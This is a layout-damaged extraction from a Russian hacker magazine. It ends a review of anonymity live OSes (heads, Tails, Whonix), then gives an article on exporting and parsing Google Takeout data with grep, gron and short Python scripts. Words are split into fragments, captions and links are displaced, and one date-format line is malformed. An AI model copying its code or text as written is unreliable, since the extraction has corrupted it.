 и клик нет по нему. А так как для навига ции по ФС в Subgraph OS
исполь зует ся  работа ющий  вне  песоч ницы  фай ловый  менед жер  Nautilus,  то
скрипт будет иметь дос туп ко всей сис теме.

~/Downloads

~/Downloads
.desktop

~/Downloads

В  апре ле  2017  года  этим  недора зуме нием  вос поль зовалась  Micah  Lee
и Joanna Rutkowska (соз датель ница Qubes OS), выпол нив 
Subgraph OS.

по каза тель ный хак

HEADS
Срав нитель но новая опе раци онка называ ется имен но так —   со строч‐ 
ной бук вы. В FAQ по это му поводу написа но крат кое пояс нение раз работ чика:
«потому что я так ска зал». Осталь ные отве ты в нем не более содер жатель ные.
Про ект молодой, раз вива ется на  голом энту зиаз ме, и потому докумен тации
не хва тает.

heads

На момент  написа ния  статьи  на    была  дос тупна  вер‐ 
сия  0.4  от  26  мар та  2018  года.  Тех ничес ки  это  форк  на  осно ве  Devuan,
который,  в  свою  оче редь,  форк  Debian  с  демоном  ини циали зации  SysVinit
вмес то SystemD.

офи циаль ном сай те

Heads  под держи вает  толь ко  про цес сорные  архи тек туры  i386,  x86_64,
поэто му  не  подой дет  для  исполь зования  на мобиль ных  девай сах  с  про цес‐ 
сорами  ARM.  В  качес тве  гра фичес кой  обо лоч ки  в  heads  пред лага ется  тай‐ 
ловый  окон ный  менед жер  Awesome,  в  котором  реали зова но  быс трое
управле ние окна ми с кла виату ры. В качес тве более при выч ной аль тер нативы
дос тупен Openbox.

На бор  ути лит  в  heads  очень  скром ный.  Есть  бра узер,  поч та,  чат,  крип‐ 
товалют ный кошелек и по паре прог рамм для работы с раз ными типами фай‐ 
лов.

Ми нима лизм heads

С дру гой сто роны, из‐за лег ковес ности Tor запус кает ся очень быс тро, а бра‐ 
узе ром мож но поль зовать ся прак тичес ки сра зу.

Tor‐бра узер

Клю чевые осо бен ности heads — глу бокая интегра ция с Tor и исполь зование
толь ко  сво бод ного  прог рам мно го  обес печения.  Весь  тра фик  (а  не  толь ко
бра узер ный) в heads идет через Tor.   так же дос тупен в Tor.Сайт heads

До пол нитель но heads может под менять MAC‐адрес при стар те, а модуль
ядра Permakey авто мати чес ки завер шает работу ОС при изъ ятии заг рузоч ной
флеш ки  (полез но  на  слу чай  спеш ного  ухо да).  Отклю чить  такое  поведе ние
мож но,  отме тив  соот ветс тву ющие  флаж ки  при  стар те  опе раци онки.  Там  же
при стар те зада ется пароль адми нис тра тора.

За пуск heads

По  умол чанию  внеш ние  накопи тели  не  под клю чают ся.  В Openbox  они  мон‐ 
тиру ются  по  кли ку  на  знач ке  ути литы  udiskie  в  ниж ней  панели  спра ва.  Опе‐ 
раци онка находит ся на ран нем эта пе раз вития, поэто му недоде лок в ней хва‐ 
тает. Проб лемы воз ника ют уже с поис ком драй веров для виде окарт, сетевых
адап теров и дру гого железа. Если тебе повез ло с кон фигом, то heads быс тро
запус тится в Live‐режиме и пус тит тра фик всех при ложе ний через Tor.

Од нако это не всег да нуж но. Нап ример, при исполь зовании HexChat нель‐ 
зя под клю чить ся ко мно гим популяр ным каналам. Они видят попыт ку залоги‐ 
нить ся через выход ные узлы Tor и авто мати чес ки кика ют тебя.

Ло ки не рад Тору

В heads есть очень крат кий спи сок ресур сов в Tor, но их лег ко най ти самос‐ 
тоятель но.

Не кото рые адре са в Tor

TAILS
 (The Amnesiac Incognito Live System), пожалуй, самая извес тная опе раци‐ 

онка  для  ано ним ного  веб‐сер финга  и  обхо да  интернет‐цен зуры. Мы не  раз
писали о  ней,  поэто му не будем сей час  уде лять ей мно го  вни мания. В  час‐ 
тнос ти,  на  стра ницах  ][  рас ска зыва ли  о  том, 
и  . Сей час же в обзор попала све жая вер‐ 
сия 3.6.2 от 11 апре ля 2018 года.

Tails

как  уста новить  Tails  на флеш ку
как исполь зовать VirtualBox в Tails

Тех ничес ки  Tails  —  это  ирланд ский  форк  Debian  (на  осно ве  ста биль ной
вет ки) с GNOME в качес тве гра фичес кой сре ды. Tails под держи вает рус ский
язык,  уме ет  нас тра ивать  раз ные  спо собы  под клю чения  к  Tor  и  под менять
MAC‐адрес сра зу при стар те.

Па рамет ры запус ка Tails

Ав томати чес кая нас трой ка Tor занима ет нес коль ко минут, но зато лег ко кон‐ 
тро лиру ется через Onion Circuits.

Наг лядная лукович ная мар шру тиза ция

Об новле ния Tails  выходят регуляр но,  и  в основном это пат чи безопас ности.
В  каж дой  вер сии  обна ружи вает ся  ,  и  быс тро  выпус кают
новую — все в тра дици ях цик личес кой раз работ ки.

мас са  уяз вимос тей

При меча тель но, что Tails детек тит запуск в вир туал ке и пре дуп режда ет, что
в  таком  слу чае  не  гаран тиру ет  ано ним ность,  пос коль ку  не  может  ручать ся
за безопас ность основной ОС.

На бор пре дус танов ленных прог рамм в Tails сред ний по раз меру (ког да‐то
он был сов сем минима лис тичным), но ты всег да можешь доус тановить любой
софт из репози тори ев Debian. Но это зай мет мно го вре мени (из‐за его заг‐ 
рузки через Tor), а пос ле завер шения сеан са все изме нения про падут (если,
конеч но,  ты  не  соз дашь  зашиф рован ный  раз дел  на  флеш ке  с  помощью
встро енной ути литы).

Все  дан ные  хра нят ся  в  опе ратив ке  и  не  сох раня ются  на  дис ке,  что бы
не оставлять сле дов (опять же если ты не исполь зуешь зашиф рован ный раз‐ 
дел). При вык лючении Tails забь ет ОЗУ слу чай ными дан ными, что бы не допус‐ 
тить  их  счи тыва ния  при  ата ке  методом  холод ной  перезаг рузки.  Защита
от  вне зап ного  выдер гивания  флеш ки,  ран домиза ция  MAC‐адре са  сетеву хи
(работа ет  и  для  внеш них  сетевых  карт)  так же  при сутс тву ют.  Весь  тра фик,
в том чис ле DNS‐зап росы, идет исклю читель но через Tor.

Для  сов мес тной  ано ним ной  работы  в  режиме  реаль ного  вре мени  в  Tails
интегри рова на  ути лита  Gobby.  Она  под держи вает  Unicode,  под свет ку  син‐ 
такси са  популяр ных  язы ков  прог рамми рова ния  и  выделе ние  цве том  фраг‐ 
ментов тек ста, добав ленных раз ными поль зовате лями. Ее вер сии так же дос‐ 
тупны для Windows и macOS.

Сов мес тная ано ним ная работа в Tails

Нес мотря  на  солид ный  воз раст  (про екту  уже  поч ти  девять  лет),  Tails  до  сих
пор под верже на стран ным глю кам. Нап ример, при чте нии новос тей через Lif‐
erea вре мена ми с экра на про пада ет ее поис ковая выдача или вов се завер‐ 
шают ся все при ложе ния. Про исхо дит это не пос тоян но, и отло вить вза имос‐ 
вязь с какими‐то опре делен ными дей стви ями нам пока не уда лось.

Но вос ти без цен зуры

WHONIX
По жалуй,  это  наиме нее  три виаль ная  опе раци онка  в  сегод няшнем  обзо ре.
Она пос тавля ется в виде готовых вир туаль ных машин (.ova) и сос тоит из двух
вза имос вязан ных час тей.

Сер верная  часть  называ ется  ,  а  кли ент ская  — 
.  Пос ледний  ста биль ный  релиз  был  выпущен  31  мая  2016  года.

По умол чанию в Whonix задано имя поль зовате ля   и пароль  .

Whonix‐Gateway Whonix
Workstation

user changeme
Для  исполь зования Whonix  нуж но  ска чать  обе  вир туал ки,  импорти ровать

их кон фиги средс тва ми VirtualBox и пооче ред но запус тить, начиная с Gateway.
Мно го ресур сов им не тре бует ся. Опти маль ные парамет ры уже заданы.

Им порти руем вир туал ки Whonix

Даль нейшая  нас трой ка  выпол няет ся  при  помощи мас тера  в  нес коль ко  кли‐ 
ков. Кол довать в кон соли не пот ребу ется.

Нас трой ка Whonix‐Gateway

Сер верная часть возь мет на себя мар шру тиза цию через Tor и VPN, обра бот ку
зап росов DNS и филь тра цию сетевых пакетов.

Раз дво ение вир туаль ной лич ности с Whonix

Та кой под ход поз воля ет скрыть все дан ные поль зовате ля на одной вир туаль‐ 
ной машине, в то вре мя как ата кам под верга ется дру гая — Gateway. Заод но
так реша ется извес тная проб лема деано ними зации. Нет рис ка утеч ки реаль‐ 
ного айпиш ника из‐за DNS leak и глю ков мар шру тиза ции.

Ста тус под клю чения к Tor

Да же  если  сер верную  часть Whonix  взло мают,  ата кующий  не  вычис лит  твой
айпиш ник  и  не  доберет ся  до  тво их  докумен тов  и  бит кой нов,  пос коль ку  они
хра нят ся в дру гой (кли ент ской) вир туал ке.

Спи сок пре дус танов ленных прог рамм у Whonix доволь но стан дартен: бра‐ 
узер Tor, мес сен дже ры Tor Messenger, Tox и Ricochet, поч товые кли енты Mozil‐
la  Thunderbird  и  TorBirdy  с  под дер жкой  PGP,  безопас ная  переда ча  фай лов
через  SCP  (RCP  через  SSH)  и  сис темные  ути литы.  Пол ный  спи сок  с  раз‐ 
бивкой по катего риям смот ри  .здесь

Как и у вся кой вир туал ки, надеж ность Whonix зависит от сте пени защищен‐ 
ности основной опе раци онной сис темы. Ее мож но запус тить на компь юте рах
с Windows, macOS или Linux.

Ва риан ты запус ка Whonix

Од ним  из  самых  надеж ных  вари антов  счи тает ся  запуск Whonix  в 
на доверен ном железе с эта лон ной про шив кой. Это форк Fedora от Йоан ны
Рут ков ской, исполь зующий гипер визор Xen. Дан ная опе раци онка не отно сит‐ 
ся  к  Live‐дис три бути вам  и  потому  не  рас смат рива ется  в  текущем  обзо ре.
Одна ко   уже опи сыва лось ранее на стра ницах
«Хакера».

Qubes OS

ее прин ципи аль ное устрой ство

ВЫВОДЫ
Сре ди дис три бути вов для ано ним ного веб‐сер финга и обхо да интернет‐цен‐ 
зуры есть как очень раз рекла миро ван ные (Tails, Subgraph OS), но не слиш ком
удоб ные, так и менее извес тные, но более фун кци ональ ные (MOFO, Kodachi).
Имен но на пос ледние я советую обра тить вни мание при выборе Live OS.

В дан ный обзор не попали дис три бути вы, раз работ ка  которых была при‐ 
оста нов лена  два  года  назад  или  более.  Это  ,  ,  бла гос‐ 
ловлен ный АНБ  ,  ,   и мно гие дру гие. Это не зна‐ 
чит, что они пло хие, прос то сей час появи лись более акту аль ные, а свой форк
ано ним ного линук са не делал толь ко ленивый.

JonDo Sabayon  Linux
TENS Discreete Linux IprediaOS

WWW

•Про ано ним ность и псев доним ность
•Де сять  советов  по  исполь зованию  VPN
от MOFO Linux

•Спра воч ник по Subgraph OS

https://micahflee.com/2017/04/breaking-the-security-model-of-subgraph-os/
https://heads.dyne.org/
http://fz474h2o46o2u7xj.onion/
https://tails.boum.org/
https://xakep.ru/2016/11/01/tails-live-flash/
https://xakep.ru/2017/02/28/howto-install-virtualbox-in-tails/
https://tails.boum.org/security/Numerous_security_holes_in_3.6/index.en.html
https://download.whonix.org/linux/13.0.0.1.4/Whonix-Gateway-13.0.0.1.4.ova
https://download.whonix.org/linux/13.0.0.1.4/Whonix-Workstation-13.0.0.1.4.ova
https://www.whonix.org/wiki/Software
https://www.qubes-os.org/
https://xakep.ru/2010/10/08/53465/
https://anonymous-proxy-servers.net/en/jondo-live-cd.html
http://www.sabayon.org/
https://www.tens.af.mil/download.htm
https://www.discreete-linux.org/
http://www.ipredia.org/os
https://www.whonix.org/wiki/DoNot#Do_not_confuse_Anonymity_with_Pseudonymity
https://mofolinux.com/vpn-user-tips.html
https://subgraph.com/sgos-handbook/sgos_handbook.shtml


ВЫНОСИМ
ВСЁ!

КАКИЕ ДАННЫЕ О НАС
ХРАНИТ GOOGLE
И КАК ИХ ВЕРНУТЬ СЕБЕ
ЧЕРЕЗ TAKEOUT

Андрей Письменный
Шеф‐редактор

apismenny@gmail.com

ПРИВАТНОСТЬ

Как  извес тно,  Google  хра нит  огромное  количес тво  дан ных
о  сво их  поль зовате лях,  чем  его  неп рерыв но  поп река ют.
Под напором  кри тики  в Google  соз дали механизм,  который
поз воля ет  взять  и  выкачать  все  свои  дан ные.  Этот  сер вис
называ ется Takeout, и у него могут быть раз ные инте рес ные
при мене ния, о которых мы и погово рим. А заод но деталь но
изу чим то, что он выда ет на руки поль зовате лю.

При чины взять и заб рать всё могут быть раз ными. Нап ример, ты хочешь миг‐ 
рировать на дру гой сер вис и перенес ти туда свои дан ные: без кон верта ции
вряд ли обой дет ся, но иног да это оправдан ная морока. Или, может быть, ты
хочешь сде лать какую‐то ана лити чес кую сис тему в духе лай флог гинга и quan‐
tified  self  и  тебе  в  этом  помогут  накоп ленные  в Google  дан ные. Или  стра на,
в которой ты живешь, вдруг решила отго родить свой интернет каким‐нибудь
великим  фай рво лом,  пос ле  чего  Google  ока жет ся  за  бор том.  Увы,  быва ет
и такое.

Я за пос ледние две над цать лет немало поль зовал ся про дук тами Google,
тес тируя мно гие из них в рам ках обзо ров, и никог да не вык лючал сле дящие
механиз мы. Воз можно,  ты ска жешь,  что это безумие, но,  во‐пер вых, Google
отно сит ся  к  моим  дан ным  береж но  и  при чин  для  паники  пока  не  давал,
а во‐вто рых, я ни в коем слу чае не про паган дирую такой под ход. Так что счи‐ 
тай, что я тер плю этот кош мар, что бы тебе не приш лось! :‐)

Итак, что бы получить свои архи вы, нуж но зай ти в окош ко по адре су 
,  выс тавить  галоч ки  нап ротив  инте ресу ющих  тебя  сер висов

и  подож дать  некото рое  (ощу тимое)  вре мя.  Ког да  я  зап росил  пол ный  архив,
ссыл ка  приш ла  через  день,  то  есть  боль ше  чем  через  24  часа.  В  пись ме
робот Google бод ро сооб щил, что дан ные соб раны по 36 про дук там, занима‐ 
ют 63,6 Гбайт и раз биты по трем архи вам. При чем основной объ ем при шел ся
на пер вые два, а тре тий ока зал ся зазипо ван ной стра ницей с катало гом все го
выдан ного.

take‐
out.google.com

Ес ли  не  хочешь  качать  такие  объ емы,  то  заказы вай  час тичные  архи вы,
которые будут  вклю чать не все сер висы. Нап ример, если вык лючить Photos,
YouTube и Gmail, а так же Drive, если ты там хра нишь что‐то помимо тес товых
докумен тов,  то  может  получить ся  все го  нес коль ко  сот  мегабай тов.  Кста ти,
чем мень ше архив, тем быс трее при ходит ссыл ка на ска чива ние.

ПОИСК
Нач нем с одной из самых занима тель ных вещей — исто рии поис ковых  зап‐ 
росов.  Она  лежит  в  пап ке    и  раз бита  на  фай лы  по  три  месяца,
к при меру  . Если откро ешь
один  из  них,  то  уви дишь,  что  информа ция  о  каж дом  зап росе  сос тоит  все го
из двух вещей: вре мени в фор мате Unix и иско мой стро ки.

Searches

2006‐01‐01 January 2006 to March 2006.json

Для  перево да  вре мени  мож но  исполь зовать  какой‐нибудь 
,  а  если  нуж но  будет  скон верти ровать  мас сово,  то  это  дела ется

одной стро кой на Python (замени сло во «вре мя» на свое зна чение):

он лай новый
кон вертер

datetime.datetime.fromtimestamp(int("время")).strftime('%d‐%m%‐%Y %H:
%M:%S')

Но под робным ана лизом я пред лагаю тебе занять ся самос тоятель но. Мы же
забавы ради поп робу ем поис кать вхож дения тех или иных строк при помощи
grep.  Пос коль ку  дан ные  сох ранены  в  JSON,  их  сна чала  нуж но  будет  скон‐ 
верти ровать в стро ки — я для это го исполь зовал ути литу gron, о которой 

 в руб рике WWW.
не‐ 

дав но писал
Ес ли у тебя уста нов лен gron, можешь написать что‐то в таком духе:

$ for F in *; do cat "${F}" | gron | grep "xakep"; done

И уви дишь все свои зап росы со сло вом xakep за все вре мя. Какие еще клю‐ 
чеви ки мож но поп робовать? Ну нап ример, сло во «ска чать». :‐) Или вот занят‐ 
ная  идея:  если  поис кать  сим вол  @,  то  ты  най дешь  все  поч товые  адре са
и акка унты Twitter, которые ты про бивал через Google.

Об рати  вни мание,  что  здесь  нет  поис ка  по  кар тинкам и  видео,  но мы их
еще обна ружим в пап ке My Activity.

WWW

Пост  о  том,  как  скон верти ровать  исто рию  зап‐ 
росов в Excel и потом ана лизи ровать

ЧАТЫ
Воз можно, у тебя уже где‐то спря тана пап ка со ста рыми логами ICQ и ты бы
хотел  при сово купить  к  ней  еще  и  все  ког да‐либо  написан ное  через Google
Talk и Hangouts. Это впол не реаль но, но, к сожале нию, читать перепис ку в том
виде,  в  котором она  при ходит  из  Takeout,  прак тичес ки  невоз можно  (в  отли‐ 
чие, кста ти, от логов ICQ).

Весь текст экспор тиру ется как единс твен ный файл JSON плюс гор ка при‐ 
ложен ных кар тинок — все это лежит в пап ке  . С кар тинка ми никаких
проб лем, а вот в JSON на каж дое написан ное сооб щение при ходит ся поряд‐ 
ка  двух  десят ков  строк  метадан ных.  Но  пожалуй,  глав ная  голов ная  боль —
в том, что вмес то име ни отпра вите ля здесь ID поль зовате ля.

Hangouts

На вер ное,  самое  прос тое,  что  мы  можем  сде лать,  —  это  выкинуть  всю
мишуру  и  оста вить  толь ко  текст.  По  край ней мере мож но  уви деть  какие‐то,
пусть и обез личен ные, беседы.

$ gron Hangouts.json | grep '.text'

Так хотя бы есть шанс что‐то выловить.

GOOGLE+
Что  дей стви тель но  есть  смысл  бэкапить  —  это  пос ты  из  соци аль ной  сети
Google+,  которая  стре митель но  ста новит ся  арте фак том  прош лого.  Если  ты,
конеч но, вооб ще ког да‐либо ей поль зовал ся.

Дан ные  поделе ны  на  три  пап ки:  Google+  Stream,  Circles  и  Pages.  Давай
заг лянем в них по поряд ку.

  —  это  кон такты  людей,  орга низо ван ные  по  «кру гам»  из  Google
Plus. Фор мат — vCard (VCF) с той информа цией, которую люди сами о себе
запол нили.  Мож но  при  желании  одним  махом  импорти ровать  в  любую
адресную кни гу.

Circles

Пап ка   будет при сутс тво вать в том слу чае, если у тебя име лись пуб‐ 
личные  стра ницы.  Но  ничего  инте рес ного  там  нет,  раз ве  что  юзер пик
и обложка стра ницы.

Pages

Так же  к  дан ным Google+  сто ит  отнести  пап ку  .  В  ней  содер жится
JSON  с  копи ей  всех  тех  дан ных,  что  ты  запол нил  о  себе  в  этой  соц сети.
Основные инте рес ные вещи лежат в струк турах   (ссыл ки на дру гие про‐ 
фили  в  соц сетях)  и    (мес та  работы  с  датами).  Забав ная
деталь: при том, что у меня в про филе не ука зан воз раст, здесь при сутс тву ет
поле  ,  зна чение которо го Google,  кажет ся, опре‐ 
делил самос тоятель но.

Profile

urls
organizations

"ageRange": {"min": 21}

Са мое  глав ное  ты  най дешь  в  пап ке  .  Здесь  в  качес тве
отдель ных HTML сва лены все твои пос ты с ком мента риями и даже отдель ные
ком мента рии. Мож но  полис тать  и  понос таль гировать,  а  мож но  парой  строк
на Python с BeautifulSoup выд рать, к при меру, толь ко тек сты пос тов. Выбирать
нуж но будет эле мен ты с клас сами   и  .

Google+ Stream

entry‐title entry‐content
К сожале нию,  кар тинки из пос тов не бэкапят ся авто мати чес ки — они  так

и оста ются ссыл ками на сер вер Google, который еще и не отдаст их без авто‐ 
риза ции. Недора боточ ка!

КАРТЫ
Еще одна боль шая и важ ная катего рия лич ных дан ных. Нач нем с прос того —
пап ки  . Это мар шру ты, соз данные тобой в Google Maps, — по одно‐ 
му фай лу KMZ на мар шрут.

MyMaps

 — это фор мат Google Earth, который под держи вает ся и в дру гих кар‐ 
тогра фичес ких при ложе ниях. Ну а по сути это ZIP, в котором лежит файл KML,
явля ющий ся валид ным XML. Если для тво их целей это по каким‐то при чинам
не под ходит, можешь вос поль зовать ся сер висом   и скон верти‐ 
ровать его, нап ример, в GeoJSON, работать с которым слег ка поп роще.

KMZ

GeoConverter

Пап ка   содер жит один файл —  .
В нем соб раны все твои зак ладки из Google Maps в виде оче ред ной заковы‐ 
рис той  струк туры.  Каж дая  из  зак ладок  —  это  эле мент  мас сива  ,
у  которо го  есть  заголо вок,  дата  добав ления,  дата  изме нения  и  ссыл ка
на  Google  Maps.  А  вот  геокоор динаты  могут  быть  записа ны  по‐раз ному:
как поле   с мас сивом   или как   с полями 

  и  ,  но  оно  же  (что бы  жизнь  медом  не  казалась)  может
называть ся, нап ример,  . В общем, при желании учесть все
эти осо бен ности не слиш ком тяжело, но мог ло бы быть и поп роще.

Maps (your places) Saved Places.json

features

geometry coordinates Location Lat‐
itude Longitude

Geo Coordinates

На конец,  самая  занима тель ная  пап ка  —  это    —  файл
со  всей  исто рией  тво их  переме щений  с  мобиль ным  телефо ном  в  кар мане
за все вре мя. У меня эти дан ные занима ют 7,5 Мбайт.

Location  History

Файл  устро ен очень прос то, осо бен но в срав нении с дру гими архи вами.
Это огромный мас сив из струк тур, вклю чающих в себя: вре мя в фор мате Unix,
широту,  дол готу и  точ ность опре деле ния. Иног да  к  ним добав ляют ся  (веро‐ 
ятно,  ког да  их  уда валось  опре делить)  нап равле ние  дви жения  в  гра дусах,
высота в мет рах и точ ность опре деле ния высоты.

Что  делать  с  этим  фай лом,  кро ме  как  сох ранить  на  память?  Нап ример,
можешь поуп ражнять ся в его ана лизе   или  . Есть и спе циали‐ 
зиро ван ный софт для ковыря ния таких дан ных — 
(сто ит 70 дол ларов), а так же любитель ские сер висы вро де 

  (если  ты  сов сем  уж  не  опа саешь ся  делить ся  эти ми  дан ными
со слу чай ными людь ми).

на Python на R
Location History Visualizer Pro

They Know Where
You’ve  Been

Од нако сам сер вис Google  здесь пока  что  вне  кон курен ции. К Google Maps
при лага ется  ути лита  ,  где  накоп ленные дан ные мож но отсмат ривать
по  дням,  и  здесь,  помимо  голых  дан ных,  которые  выда ются  через  Takeout,
есть  вся кая  ана лити ка.  Google,  нап ример,  опре деля ет  наз вания  мест
и  заведе ний,  которые  ты  посещал,  и  прек расно  раз лича ет  тран спортные
средс тва  (и может  лег ко  понять,  нап ример,  на мотоцик ле  ты  перед вигал ся,
на машине или на велоси педе).

Timeline

CHROME
Это край не инте рес ная пап ка, которая содер жит всю облачную часть Google
Chrome (а может быть, и не всю — никог да нель зя быть уве рен ным!). Вот что
в ней лежит.

  —  содер жимое  зак ладок  в  виде  спис ка  HTML.  Рас‐ 
парсить его  не  сос тавит  тру да — знай  хва тай дан ные из    и  дели
на сек ции по содер жимому  . Для мно гих зак ладок ука зано вре мя добав‐ 
ления в фор мате Unix.

• Bookmarks.html

a href

h3

  —  по  всей  видимос ти,  здесь  дол жны  быть  исклю чения
для про вер ки орфогра фии, которых у меня нет.

• Dictionary.csv

 — дан ные об уста нов ленных рас ширени ях.• Extensions.json

 — дан ные о допол нитель ных поис ковиках. Если тебе
ког да‐нибудь  понадо бят ся  пра вила  сос тавле ния  поис ковых  зап росов
к  раз ным  поис ковикам,  этот  файл  как  раз  при годит ся.  В  осталь ных  слу‐ 
чаях — вряд ли.

• SearchEngines.json

 — нас трой ки Chrome.• SyncSettings.json

 — в теории здесь дол жны быть дан ные для авто мати чес кого
запол нения форм, но у меня толь ко пус той мас сив. Похоже, если понадо‐ 
бит ся, эти дан ные про ще вытащить из самого Chrome.

• Autofill.json

  —  чес тно  говоря,  я  ожи дал  уви деть  в  этой  пап ке
огромный  кла дезь  лич ной  информа ции: шут ка  ли —  пол ный  спи сок  всех
сай тов,  которые  я  ког да‐либо  откры вал  в  Chrome!  Одна ко  меня  жда ло
разоча рова ние:  в  этом  фай ле  перечис лены  лишь  четыр надцать  ссы лок,
которые  я  успел  открыть  в  мобиль ном  Chrome,  ког да  ска чал  его  пос‐ 
мотреть. На дес кто пе  при  этом  вну шитель ный  спи сок  сай тов  и  вклю чена
галоч ка Sync Everything. Глюк Takeout?

• BrowserHistory.json

Ес ли с пос ледним пун ктом тебе повезет боль ше, то ты с лег костью смо жешь
про ана лизи ровать  исто рию  сво их  переме щений  по  интерне ту.  Google  сох‐ 
раня ет: тип перехо да (по ссыл ке — LINK или нап рямую — TYPED), заголо вок
стра ницы, URL, ID кли ента (полез но, что бы отли чить свой дес ктоп от телефо‐ 
на и план шета) и вре мя в фор мате Unix.

MY ACTIVITY
Это, пожалуй, одна из самых инте рес ных папок, воз можно даже более инте‐ 
рес ная,  чем  исто рия  поис ка.  Ее  содер жимое  дает  ответ  на  воп рос  о  том,
как  имен но  Google  сле дит  за  поль зовате лями.  Прой дясь  по  пап кам,  ты
можешь сво ими гла зами уви деть, что он записы вает каж дые:

пе реход на сайт, аффи лиро ван ный с Google Adwords;•
кни гу, откры тую в Books;•
сайт, на который ты ходил через Chrome;•
ис поль зован ный API (пап ка Developers);•
ко тиров ку, откры тую в Finance;•
зап рос к Goggles (поиск объ ектов на сним ке);•
прос мотр стра ницы в Google Play Store;•
об ращение к справ ке (пап ка Help);•
зап рос к Image Search и переход по ссыл ке;•
прос мотр объ екта на кар те (Maps);•
по иск в Google News и чте ние статьи на сай те‐источни ке;•
по иско вый зап рос и переход по ссыл ке из резуль татов (пап ка Search);•
по иск товара или покуп ку в магази не (пап ка Shopping);•
прос мотр поез док в Google Trips;•
по иск видео и переход из резуль татов (Video Search);•
го лосо вой поиск (пап ка Voice and Audio);•
по иско вый зап рос и прос мотр роликов на YouTube.•

От мечу,  что исто рия сай тов Chrome  у меня была  такая же полупус тая,  как и
в пап ке самого Chrome, а раз дел Shopping вооб ще никуда не годит ся: за две‐ 
над цать  лет  Google  едва  отсле дил  пару  нас тоящих  покупок.  Тем  не  менее
мас сив  информа ции  очень  вну шитель ный.  Осо бен но  раду ют  фай лы
MP3  в  пап ке  :  ты  можешь  пос лушать  собс твен ный  голос,
который про изно сит фра зы из серии «Окей, Гугл...».

Voice  and Audio

WWW

Всю  ту  же  информа цию  ты  можешь  прос матри‐ 
вать  и  филь тро вать  на  сай те 

.  Там  же  мож но  уда лить  отдель ные  записи
и  отклю чить  отсле жива ние  отдель ных  активнос‐ 
тей.

myactivity.google.‐
com

При  этом фор мат,  в  котором  все  это  выг ружа ется,  оставля ет  желать  мно го
луч шего.  Это  сно ва  HTML  с  не  самой  удо бова римой  раз меткой  и  150‐
килобай тным  кус ком  Material  Design  в  каж дом  фай ле.  Я  на  ско рую  руку
сочинил  вот  такой  скрип тик  на  Python,  который  мож но  закинуть  в  любую
из папок и запус тить.

import re
text = open('MyActivity.html', 'r').read()
result = re.findall(r'body‐1">(.+?)</div>', text)
for r in result:
   for s in r.split('>'):
       print s.split('<')[0]

На выходе получишь очи щен ный текст, который мож но, нап ример, отправ лять
на  вход  grep  или  про дол жить  струк туриро вать  даль ше.  В  общем,  огромное
поле для деятель нос ти.

ОСТАЛЬНЫЕ ПРОДУКТЫ
Под робно  раз бирать  дан ные  четырех  десят ков  про дук тов  мы  не  будем,
но вкрат це все же прой дем ся по оставшим ся сер висам.

  —  HTML  со  спис ком  стра ниц,  которые  ты  ког да‐либо  лай кал  через
Google+. В моем слу чае — четыре ран домные стра ницы.

+1

 —  то  же  самое,  но  для  зак ладок.  У  меня  по  невы ясненным
при чинам здесь ока зались исклю читель но зак ладки из Google Maps — то есть
звез дочки,  которы ми  мож но  отме тить  мес то  на  кар те.  Фор мат  —  HTML
со ссыл ками на Google Maps. Открыв его в редак торе, мож но допол нитель но
вытащить вре мя добав ления и в некото рых слу чаях — геокоор динаты. Все эти
дан ные, впро чем, пол ностью про дуб лирова ны в пап ке  ,
и в более удоб ном виде.

Bookmarks

Maps (your places)

 — поль зователь ские  кален дари из Google Calendar в фор мате
iCalendar  (.ics),  который  под держи вает ся  мно гими  прог рамма ми‐кален‐ 
дарями  (в  том чис ле Outlook, Thunderbird и эппловский Calendar). Так что их
мож но импорти ровать нап рямую.

Calendar

.  Если  ты  активно  поль зуешь ся  Photos,  то  в  этой  пап ке  будет
огромный  спи сок  под катало гов  —  по  одно му  на  каж дый  день,  на  который
при ходит ся  хоть  один  сни мок.  Хорошая  новость  зак люча ется  в  том,  что  все
фотог рафии  хра нят ся  и  выг ружа ются  в  их  исходном  фор мате,  даже  если
это огромные RAW. И (что немало важ но) даже если ты исполь зуешь бес плат‐ 
ную  вер сию  Photos,  где  вро де  бы  при сутс тву ет  огра ниче ние  на  качес тво
сним ков. К каж дому сним ку при лага ется JSON с метадан ными.

Photos

. В пер вую оче редь ты здесь най дешь все ролики, которые ког‐ 
да‐либо  заг ружал  на  YouTube.  Так  же,  как  и  фотог рафии,  —  в  их  исходных
фор матах.  И  конеч но,  к  каж дому  при лага ется  JSON  с  метадан ными.  Так же
есть плей‐лис ты, под писки в фор мате OPML, исто рия прос мотров и поис ков
в HTML  (ана лог  того,  что мы видели  в  )  и  даже  ком мента рии —
тоже в HTML.

YouTube

My Activity

 — сай ты, соз данные при помощи не осо бен но популяр ного
сер виса Google Sites (что‐то сред нее меж ду narod.ru и Wikia). Я ког да‐то дав‐ 
но  сде лал  пару  тес товых  сай тов,  пос ле  чего  не  тро гал  сер вис  годами.  Тем
не менее они до сих пор сущес тву ют и экспор тиру ются через Takeout. Перек‐ 
рес тные  ссыл ки  работа ют  локаль но,  а  вот  кар тинки  оста ются  на  сер вере
Google. И внутрь стра ниц луч ше не заг лядывать — вмес то исходни ков ты уви‐ 
дишь горы опти мизи рован ного JS в худ ших тра дици ях Google.

Classic Sites

 — все докумен ты из Google Drive. Текст экспор тиру ется как DOCX,
таб лицы  —  XLSX,  ком мента рии  —  как  HTML  с  теми  же  наз вани ями,  что
и документ. Удоб но, что наз вания фай лов соот ветс тву ют заголов кам и струк‐ 
тура папок тоже сох раня ется.

Drive

.  Информа ция  из  это го  сер виса  раз делена  на  две  пап ки.
 — спи сок тран закций, про изве ден ных через Google Pay (у

меня —  пус той файл CSV),  и    (у
меня — пус той PDF).

Google  Pay

Google Pay Send

Google Pay  rewards,  gift  cards,  offers

 — пол ный архив писем Gmail. В пап ке лежит все го один файл — 
. Его заголо вок говорит сам за себя:

это вся‐вся поч та, вклю чая спам и мусор. Фор мат — Mbox, то есть, по сути,
огромный  тек сто вый файл,  где  под ряд  идут  все  пись ма  с  заголов ками.  Его
нес ложно  импорти ровать  в  боль шинс тво  поч товиков,  но  гораз до  про ще
будет под клю чить их непос редс твен но к Gmail и по IMAP выкачать толь ко нуж‐ 
ные пап ки. Takeout тут при годит ся раз ве что в том слу чае, если ты захочешь
заб рать  вооб ще  все  одним  махом  и  так  в  виде  архи ва  и  сох ранить
на будущее.

Mail All 
mail Including Spam and Trash.mbox

 —  здесь  в  моем  слу чае  вооб ще  ничего  инте рес‐ 
ного, толь ко JSON бук валь но из трех стро чек: номер акка унта, имя и фамилия
и помет ка personal.

Google My Business

